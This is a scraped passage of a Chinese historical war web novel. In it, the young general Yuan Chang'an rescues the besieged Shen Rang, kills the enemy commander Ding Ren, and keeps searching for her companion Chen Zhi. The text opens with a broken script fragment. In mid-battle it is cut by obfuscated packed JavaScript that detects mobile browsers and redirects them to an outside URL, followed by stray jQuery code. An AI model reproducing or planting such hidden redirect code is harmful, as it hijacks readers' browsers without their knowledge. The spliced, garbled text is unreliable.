RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“万续二年七月庚午,恒王郑吉以社稷安危为己任,举义兵于京畿之内。时太后尤氏专权,政事日非,天下人心思变。郑吉入禁宫,讨逆贼。是日,雷霆一击,擒尤氏于宫闱之中。太后尤氏既已伏法,郑吉扶正幼帝,自居辅政大臣之位,权倾朝野,威震四方。朝中大臣虽有异议,但见恒王功高盖世,不敢轻举妄动。自此,朝政皆由恒王掌控。” ----------------- 许正豪没想到,自己的神机炮竟然会有朝着自己开火的一天。 神机炮的火力因技术的不稳定尚且不足,且成本造价太高。所以,许正豪对战高望之时,也仅仅只发射六颗火蛋。 但也是因为这六颗火蛋,让高望一直不敢轻举妄动,只能静观其变。 虽然他有神弓弩和巨弩车,但是在神机炮的面前,还是不堪一击。 然而,六颗火蛋发射完之后,许正豪陷入了困境。因为许文达率大军绕道至清灵郡黄岗山,同元长安等人平定易水教,这就意味着,许正豪失去了外援。并且,他现在已经是插翅难飞。 “穗儿,再怎么说,你也是姓许,他许文达不会难为你。只要你活着,爹死而无憾。”许正豪用迷药将许穗迷晕,看着她沉睡的容颜,低声说道。 “来人,送小姐离开!” 两日后,高望率兵将许正豪追赶至绝路。 许正豪看着自己丢弃的神机炮,现在正对着自己的时候,内心有说不出的苦楚。 “许文达,老子二十年前败给你爹。二十年后的今天,又败给了你。我许正豪,也算是死而瞑目。” 许正豪仰头高喊,高望点燃神机炮的引绳,只听见“砰”的一声响,面前之人瞬间烟灭,只留下燃烧的火焰。 ----------------- 元长安看着被俘的易水教信徒,压抑不住内心的激动:“瞿将军,你能不能把这些人留给我?” 瞿正清斜睨了她一眼,一副?不出所料的神情:“侯爷早就吩咐了,这些易水教的人都交给你。” “真的?”元长安十分激动。 瞿正清连忙抬手安抚道:“你先别激动,侯爷也是有要求的。” “什么要求?” “他要你打造一支铁军,成为他最锋利的一把刀。”瞿正清说完许文达的意思,又表述自己的想法:“长安,虽然我也希望你能自己组建一支军队,但是打造铁军不是那么容易的事情。我希望你好好的想一想,不要因为一时冲动,酿成大错。” 元长安从来都是知难而上,更何况得了这么一支军队。“将军只管放心,我心里有数。” 瞿正清叹气摇头,却没有再多说什么。 “以后我的军队就叫白虎营。白虎者,上古四大神兽之一,善战,适合我。” ----------------- 被俘虏的易水教信徒不多也不少,大几千人。这些人,元长安并不是全都要,她要一一筛选,选择最合适的。 第一,元长安用实力征服他们每一个人。 第二,元长安给他们生存的机会,但是要靠实力活到最后。 第三,元长安给活下来的人一个承诺,一个荣华富贵的承诺。 ----------------- 恒王入京都的那一天,整座城陷入了一片混乱。 恒王的铁骑踏破了京城的宁静,城门被强行打开,黑甲兵蜂拥而入。街道上顿时弥漫着浓浓的硝烟和尘土,马蹄声、喊杀声、兵器碰撞声交织在一起。 百姓们惊慌失措,四处奔逃。妇女们抱着孩子,老人拄着拐杖,年轻人搀扶着年迈的父母,所有人都试图寻找一个安全的地方避难。街道上,有的人摔倒在地,被践踏而死;有的人被流箭射中,鲜血染红了衣衫;有的人被黑甲兵随意砍杀,倒在血泊中。 商铺和民宅被黑甲兵洗劫一空,金银财宝、粮食衣物被搜刮殆尽。一些店铺的门窗被砸得粉碎,货物散落一地,店主们痛哭流涕,却无力反抗。更有甚者,一些黑甲兵纵火焚烧房屋,火光冲天,浓烟滚滚,许多无辜的百姓被活活烧死。 城中的街道变得一片狼藉,摊位被翻倒,货物被抢掠一空。原本热闹的市井变成了战场,商贩们四散奔逃。 陈治就在这些逃亡的百姓之中。他藏身在京都的一处皇家寺院,这里香火缭绕,佛音悠扬。宝殿之上,佛像慈眉善目,让人平心静气。 陈治躲在寺院一处小角落里面,透过高高的围墙,可以看到外面的天空被浓烟熏黑,远处偶尔传来喊杀声。 而庭院中,树木葱郁,花香扑鼻,一切都显得那么祥和。 “长安,京都,变天了。” 【第一卷·完】 紧急通知:作者是新人,灵感和文笔有限,第二卷更新将不定时更新。 29.平地一声雷 三年时光匆匆而过,仿佛春花秋月未曾停留,转眼已是落叶归根。 元长安的容貌,有了很大的改变。她的脸庞变得更加坚毅,原本柔和的线条被岁月雕刻得更加立体。皮肤虽不再如往昔般细腻,却多了几分风霜的痕迹,那是无数次风吹日晒的结果。 她的眼睛依旧明亮,但其中多了一份冷静与果敢。曾经的清澈变成了锐利,仿佛能洞察人心的每一个角落。眼神中透露出的不再是任性,而是经历过无数风雨后的坚定与从容。 她的身材也发生了显著的变化。三年的高强度训练和战斗,让她的体态变得更加健硕。虽然依旧纤细,但充满了力量感。肌肉线条流畅而有力,每一块肌肉都在诉说着她这三年的坚持和努力。 只是,她的脖颈处,依旧挂着陈治送她的玉坠。 “小元爷,万少杰来了。”王耀祖在这三年的时间里,一直跟着元长安,成为她的副手,不离不弃。 元长安将玉坠放到衣服里面,边走边问道:“京都有没有陈怀久的消息?” 王耀祖道:“京都没有,但是手底下道人打听到,博陵王门下有一幕僚,谋智如神,策无遗算。我想,会不会就是陈公子?” “我只要确切的消息,而不是猜测,继续找,必须要找到。话又说回来,侯爷下一步就是攻打博陵郡,说不定,还能见见那个幕僚。” 元长安刚说完,万少杰就走了过来,风尘仆仆。“小元爷,沈爷遇到了危险!” ----------------- 七日前 博陵王郑茂功看着面前的沙盘,陷入困境,“许文达麾下的沈让和崔涯,乃两员大将,是他的左膀右臂。尤其是前锋崔涯,此人文武兼备,谋略过人。当年青石岭一战,他仅率两千人马,奇袭严峰的粮仓成梁坝,烧毁了黑甲兵的粮草。以至二哥本该胜券在握的一仗,因缺乏粮草、士气衰弱而溃败。” 陈治身着淡雅的湖蓝长衫,增添几分清新脱俗之感。手中扇动着漆扇,温和一笑:“殿下,卑职有一计,可断许文达的臂膀。” 郑茂功脸上浮现喜色,“何计?” “引其一而诱令一,一石二鸟。” 二人双目对视,同时,皆不由自主地露出笑容。 “陈先生当真是才智多谋啊,哈哈哈哈哈哈!” “殿下谬赞。” ----------------- 沈让为追击博陵王的一支军队,在一个孩童的指路下,率兵绕至饶甘道。可是他发现,男孩带的这条路越走越不对劲,直到他一块巨大的石头,挡在他们面前,他才彻底明白——他们被骗了。 忽然之间,那个男孩的脸色变得苍白如纸,嘴唇发紫,喘着粗气。 沈让大叫一声:“他中毒了!” 话音刚落,男孩剧烈颤抖起来,然后摔落马下。他的双眼瞪得大大的,仿佛看到了什么恐怖的景象。嘴角流出黑色的血液,伴随着微弱的呻吟,他的呼吸越来越急促。 此时,男孩的四肢开始抽搐,他的身体像一条濒死的鱼,在地上翻来覆去。 沈让等人立马远离他的身边,眼睁睁地看着他的身体猛地一僵,喉咙里发出一声低沉的哀鸣,紧接着,他的四肢无力地垂下,气息全无。 就在这时,他们的退路被敌方将领丁任死死围堵,进无可进,退无可退。 丁任双手背在身后,洋洋得意道:“现在就等崔涯来送死了。” 副将不放心道:“将军,要不要我们先解决了沈让,再诱骗崔涯?沈让也算是一员勇将,若除掉他,也算是大功一件。” “你这小子懂什么?”丁任直接开口呵斥道:“博陵王殿下自有打算。更何况,他沈让就是一个莽夫,不过就是打仗凶了一点,也没什么能耐,怕他作甚?” 副将连连称是:“将军说的是。” “不过,也别让他们好过,耗着他们,能不能活到崔涯来营救,就看他们的命了。” “末将明白!” ----------------- “侯爷,沈将军被丁任两万大军围困于饶甘道!”斥候闯入帅帐之中,神色惊慌地说道。 “什么!” 许文达顿时脸色变得如同土色一般,愕然站立在那里。他双眼圆睁,张口无言,神情恍惚,如同遭受了雷击一般。双脚仿佛被钉在地上,僵硬地站着,像是失去了魂魄。 “侯爷,让末将带兵去救沈让!”崔涯听闻消息,内心焦急万分,立马站出来请战。 然而许文达却摆了摆手拒绝了他,因为他知道,沈让被困,郑茂功就是想让崔涯前去营救。他已经摸准了崔涯的作战风格,若真派了崔涯去,必是有去无回。 余耀站出来道:“侯爷,末将愿请战!” 许文达看着他缠着绷带的胳膊,还是摇了摇头,“你的伤还没有养好,不宜出战。” “侯爷……” “别再说了,让本侯好好想一想。”许文达制止了余耀的话,坐在太师椅上,双手紧握成拳,手指关节因为用力而变得苍白。 就在这时,元长安从众将中站了出来,微微俯身,单膝触地,膝盖轻轻磕碰着冰冷的地面,发出轻微的声响。 “侯爷,末将愿请战!” 元长安的眼神如同锋利的刀刃,穿透了帐内的每一寸空气,直射向主帅许文达。许文达看着她那双深邃的眼睛中,燃烧着熊熊斗志,那是对战场的渴望。 许文达犹豫了。他能看到这三年元长安在军事上的天赋和能力,她是百年难遇的将才。可战场不是练兵场,任何人都没有失误的机会,成败仅一瞬之间。 “元长安,你可知此去营救沈让,凶多吉少,只许成功不许失败。你可还愿意?” 元长安的每一个字都掷地有声,语气中还带着一丝不易察觉的兴奋:“末将愿领此重任,誓死不辱使命!” 许文达一拍桌面,大声道:“好!本帅封你为游击将军,率三千人马,营救被丁任两万大军围困的沈让。” “末将领命!”元长安无视在场众人不信任的眼光,她只知道,这一战对她来说,至关重要。 元长安骑在她的高头大马之上,身穿亮银色铠甲,手持长生枪,身后是她的三千白虎营。 “出发!” 三千军士应声开拔。 元长安正要驾马而走之时,后头看去,不远处是身穿大将武袍的瞿正清。他就站在阳光下,望着这一位年仅十七岁的将军,走向她既定的那条战争之路。 饶甘道 沈让和他的士兵被困在甘南峡谷已经三天三夜了,前路有巨石挡路,其他三路皆被丁任的两万大军堵截。他们带的粮食所剩无几,伤兵也已经奄奄一息。 “将军,我们无路可退。”百里云的头盔不知道掉在了哪里,头发凌乱,脸上不是泥土就是血污。 沈让靠躺在土堆上,喘着粗气,身上的伤口裂开,血止不住地往外冒。 他自嘲道:“看来我沈让,是要葬于此了。” “将军……” “我死不足惜,唯一的遗憾就是没让我媳妇儿风风光光地嫁给我。”一想到沈清棠,沈让的脸上就止不住笑意。 百里云对那个长相似仙女的军医印象十分深刻,更何况是自己上级的媳妇。 “沈军医不仅长得漂亮,医术也好,和将军简直就是天造地设的一对。” 听到百里云的吹捧,沈让简直骄傲地不得了,身上的伤口也不疼了。 “那可不!” 百里云嘿嘿一笑,其实在他心里有一个不能说的秘密。他原本以为沈军医是和崔涯崔将军是一对,毕竟郎才女貌。崔将军意气风发,沈军医貌美如花。 当百里云和那些与他有一样想法的弟兄,在知道沈清棠和沈让是一对儿的时候,简直不敢相信。 谁叫沈让勇猛却不如崔涯儒雅。 “如果我死了,不知道清棠会不会也为我守三年?” 沈让呢喃自语的这句话,在百里云耳里,是很莫名其妙的。 沈清棠守在军营外,期盼着能看到熟悉的身影。余耀守在她的身后,期盼着她能回头。 夜深人静,元长安带着三千军士悄然摸进甘南峡谷。 元长安仔细观察着甘南峡谷的地势,脑海中瞬间有了布局之策。 “万少杰,你带着七百人换上土匪流寇的衣服,绕道敌方西南后方,频繁骚扰,顺便抢些他们的东西,吸引他们的注意力。我带着三百轻骑兵同样着匪寇的衣服,从北向南,直接穿插丁任重兵把守的保坡,然后将他们吸引到东南方向的泉峰。到时候,王耀祖率二百神射营伏击他们,不要舍不得箭,把所有的箭都给我放完!” 王耀祖一听这一次要掏空家底,心里就隐隐作痛,但还是得服从命令:“是!” “卓子昂,我们替你吸引火力,你率一千六百人绕道西北方向,留三百人接应。一旦你绕到西北方向,就给我快速地破一个口子出来,与沈让汇合之后,迅速撤离,不得恋战。” 卓子昂正色道:“明白!” “成败在此一举!” ----------------- 元长安轻装简行,率三百骑兵穿着匪寇的衣服,泥土覆面,以迅雷不及掩耳之势,率着骑兵直冲丁任军中,从甘南峡谷北边快速穿到南边。 丁任主力军驻扎在峡谷东边,元长安对他也算了解,好大喜功,狂妄自大。 所以,元长安率领的骑兵如秋风扫落叶,直穿丁任驻扎之地,给他来了一个措手不及,并且此番还要刺激他的理智。 “兄弟们,给老子烧!全都烧成灰!”元长安扯着粗嗓子,声音洪亮。她一把长生枪,如过无人之境,直接砍下了丁任麾下一个将领的脑袋。 等丁任他们反应过来的时候,元长安及其所率军队已经斩杀不少敌方士兵,趁机烧了他们的帐篷和粮草,顺道还掳走了他们的军司马和掾属。 “该死的贼寇!老子一定要宰了他们!” 果不其然,丁任气急败坏,不听军师劝阻,立马召集两千骑兵向东南泉峰方向追赶。 于此同时,万少杰带着七百士兵声势浩大地骚扰着丁任南边的驻扎士兵,抢了他们几匹马和几车粮食,烧了他们几个营帐后,迅速撤离黑暗之中。来来回回,重复骚扰,烧杀抢掠。尽管副将魏康有所防范,但还是抓不到他们的人。 东边、南边已经乱了起来,北边的驻兵见北边主力方向燃起熊熊大火,只当是当地的土匪流寇烧帐抢粮,便派了些人前去支援。卓子昂趁此时机,利用峡谷侧边的高地,悄悄地绕到峡谷西南方向,并且快速突击,破了一个缺口。 沈让听到西北方向有厮杀的声音,第一反应是来援军了。他让百里云扶自己起来,集合残余的士兵向西北方向摸,直到他看到白虎营特有的,头盔之上插着一支白色羽毛,就知道是元长安来了。 “兄弟们,救兵来了,我们杀出去!”沈让拔出腰间的佩剑,大声喊道。 一听到救兵,所有人就像打了鸡血一般,“杀!” 要么被困死,要么有一线生机。所有人都知道该怎么选择,他们必须拼一把。 元长安将丁任引到泉峰,王耀祖早已在高地埋伏多时。 “准备。”王耀祖一直盯着丁任及其两千骑兵离他们的射击范围越来越近,手中攥着的神弓弩也越来越紧。 直到元长安带着她的轻骑兵脱离了射杀范围,王耀祖大喝一声:“射!” 众人听令,弓箭、弩箭和燃火的箭矢齐发,丁任发现中了埋伏,却没有藏身之处。身边的将士一个个因中箭而亡,损失惨重。他连忙下令后撤,却被元长安率兵挡住了去路。 “你们不是匪寇!”丁任这才恍然大悟,反应过来,“你们是沈让的援军!” 元长安枪指丁任,微微抬着下巴,眼神带着蔑视:“还真让你猜对了,就是明白的太晚了。” 丁任□□的黑马似是察觉到了危险的气息,一直乱动。 “你是什么人?!” 元长安眉毛一挑:“等你死了,我自会告诉你。给我上!” 元长安一声令下,躲在高处的王耀祖已经将所有箭矢都放完了,纷纷拔出佩刀,奔涌而下。 丁任知道自己在劫难逃,后悔不听军师劝阻,但也来不及了。他双手持斧,迎上元长安。 元长安手中紧握着寒光闪闪的长生枪,枪尖锐利无匹,枪身随着马匹的奔腾而左右摇曳,仿佛一条即将噬人的银蛇。 两骑交错的一刹那,空气中充满了紧张与杀意。元长安挥舞长枪,宛如一道银色闪电划破长空,精准地挑向丁任的胸膛。而丁任反应迅速,双斧交叉挡在胸前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345751|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,试图抵挡这一致命攻击。金属碰撞的声音清脆响亮,只见元长安借力使力,利用马匹的速度和自身的旋转力量,将长枪的冲击力发挥到了极致。最终将丁任的斧头逼开,并顺势将其挑落马下,一枪钉死在地面上。 王耀祖见丁任已死,连忙大喊道:“丁任已死,缴械者不杀!” 丁任带来的两千骑兵,剩下不足一千人,见主将已死,他们也就没了主心骨,纷纷放下手上的兵器,抱头投降。 元长安用枪尖将丁任挑了起来,脸上是狂傲的神情。营救被围困的沈让以及八百士兵,烧了敌军的粮草和营帐,抢夺敌军马匹和粮食,掳获了敌军的几个文官,更是一□□死了敌军主将。此战,元长安胜的漂亮。 太阳在东边缓缓升起,元长安和沈让率军浩浩荡荡地回到了大营。 元长安第一时间就是冲进帅帐,将丁任的人头丢在许文达面前,“侯爷,这是末将给你的礼物,你看怎么样?” 许文达和帅帐之中其他将领皆目瞪口呆,而瞿正清却像是早已猜到会是这种结局。 元长安见他们惊讶到说不出话,神情瞬间桀骜不羁,“外面还有丁任军中的军司马、掾属和八百六十七名投降士兵,以及一千八百三十六匹好马,十三车粮草。请大帅出帐过目。” “好!好啊!”许文达仰头大笑,走到帐中,拍着元长安的肩膀,“此去折损多少?” 元长安如实道:“士兵三百七十九人,战马三十七匹。” 许文达对元长安的欣赏,就在此刻一直存在。“元将军,当真是巾帼不让须眉!” 元长安此时此刻却希望,陈治在她的身边,与她一起同享她胜利的喜悦。 另一边沈清棠正在为沈让包扎伤口,泪水在眼眶里打转,这副令人怜爱的神情,可把沈让心疼坏了。 “哎呦哎呦,媳妇儿,我胸口疼。”沈让双手捂着左胸口,“你快帮我看看。” 他这一喊疼,可把沈清棠吓坏了,根本就没有留意沈让那拙劣的演技,慌张道:“怎么了?是不是伤口裂了?” 可当她凑近的时候,就被沈让紧紧拦在怀里,“我沈让没什么本事,但唯一不会做的,就是不让媳妇儿守寡。清棠,你放心,我不会出什么事的。” 沈清棠靠在他的怀里,眼泪还是流了下来,“阿让……” 营帐外,是装作不经意路过的余耀。 所有人都不知道的是,余耀喜欢了沈清棠十年,哪怕她入宫为太子妃,哪怕太子病故她守灵三年,哪怕她从来没有注意到他。 崔涯没有错过余耀的失魂落魄,他顺着余耀的眼神看到了沈让的营帐,一切都真相大白。可他也只是摇摇头,转身离开。 ----------------- 沈让被救的消息传来,陈治第一时间就想到了元长安。相对于郑茂功的恼羞成怒,陈治脸上是欣慰的笑意,但也仅仅是一瞬间。 “那个营救沈让的人是谁?”郑茂功质问着面前的士兵,双眼瞪得很大,眼珠布满血丝。 士兵低垂着头,支支吾吾道:“回殿下,卑职,卑职也不知道。” 郑茂功直接一脚将他踹倒在地,“什么你就不知道?人都从你们眼皮子底下救走了,你们竟然告诉本王不知道?真是废物!” 士兵慌张地爬了起来,连忙说道:“殿下,那些人穿着流寇的衣服,卑职也摸不清楚他们是哪里的流寇。” “殿下,稍安勿躁。”陈治突然开口道:“现在天下一乱,一些百姓为了活路,落草为寇,实属正常。说不定就是误打误撞,让沈让捡了个便宜,逃了出去。现在最重要的是,沈让出逃,许文达必定不会善罢甘休。殿下,当早做打算。” 郑茂功对陈治几乎是言听计从,“陈先生说的是。只是不知道陈先生可有良计?” 陈治展颜一笑,凑近郑茂功的耳边,耳语了几句。只见郑茂功一副恍然大悟的表情,连连点头。 “在下告辞。” 陈治刚走到庭院,就听到一阵欢快的女声:“陈先生。” “郡主。”陈治见到来人,神色平平,与兴高采烈的和月郡主形成了鲜明的对比。 和月郡主是郑茂功的幺女,备受宠爱,以至于年过二八,也没有许配人家。直到她在府中见到了陈治,只一眼,便定了终身。 陈治怎会不知道和月郡主的心思,但是元长安在他心中举足轻重,无人可以替代。 “陈先生,我最近新得了一张古琴,可否请陈先生为我调音?”和月说得小心翼翼,眼睛还一直观察着陈治的神情。 陈治眉眼低垂,声音毫无波澜:“在下不会。”说完,绕过和月,径直离去。 和月看着陈治无情的背影,心中一阵酸涩。 “小妹这是,又吃闭门羹了?”不出意外,说话的人正是郑茂功的二儿子郑天瑞。 和月瞪了一眼欠揍的二哥,气呼呼地转身离开。郑天瑞还一脸茫然,自言自语道:“这又是发生了什么?” ----------------- 许文达攻打博陵郡边县来阴县,元长安为先锋,崔涯为左军将军,沈让为右军将军。 郑茂功本以为摸清楚了崔涯和沈让的打仗思路,便有了胜算。却不料,许文达麾下的一位女先锋,不知道攻破了他多少阵地。此人骁勇善战,且不按套路出牌,使得郑茂功连连败退,坏了他不少计划。 元长安就这样,横空出世,如平地一声雷。 “许文达的那个女先锋,到底是什么人?!接二连三地破了我们的阵地防线,每一次都是损失惨重。这口气,本王早晚都得咽下去!”郑茂功被这个横空出世的女先锋气的牙痒痒,恨不得现在就亲自上阵,将那个女先锋大卸八块。 陈治连忙劝慰道:“殿下息怒,在下已经查到了。那个女先锋,名叫元长安,听说是瞿正清一手提拔的。上次营救沈让的,也是这个人。” “元长安……”郑茂功低声读了一遍这个名字,“不过是初生的牛犊,本王就不信压不住她!” 陈治却在心里默念道:长安,我们很快就能见面了。 而元长安爬上粗壮的树枝,眺望着京都的方向,眼神中的情绪万千。有落寞、有怀念…… “陈怀久,你究竟在哪里?” 她的手中,紧紧攥着那块,戴了多年的玉坠子。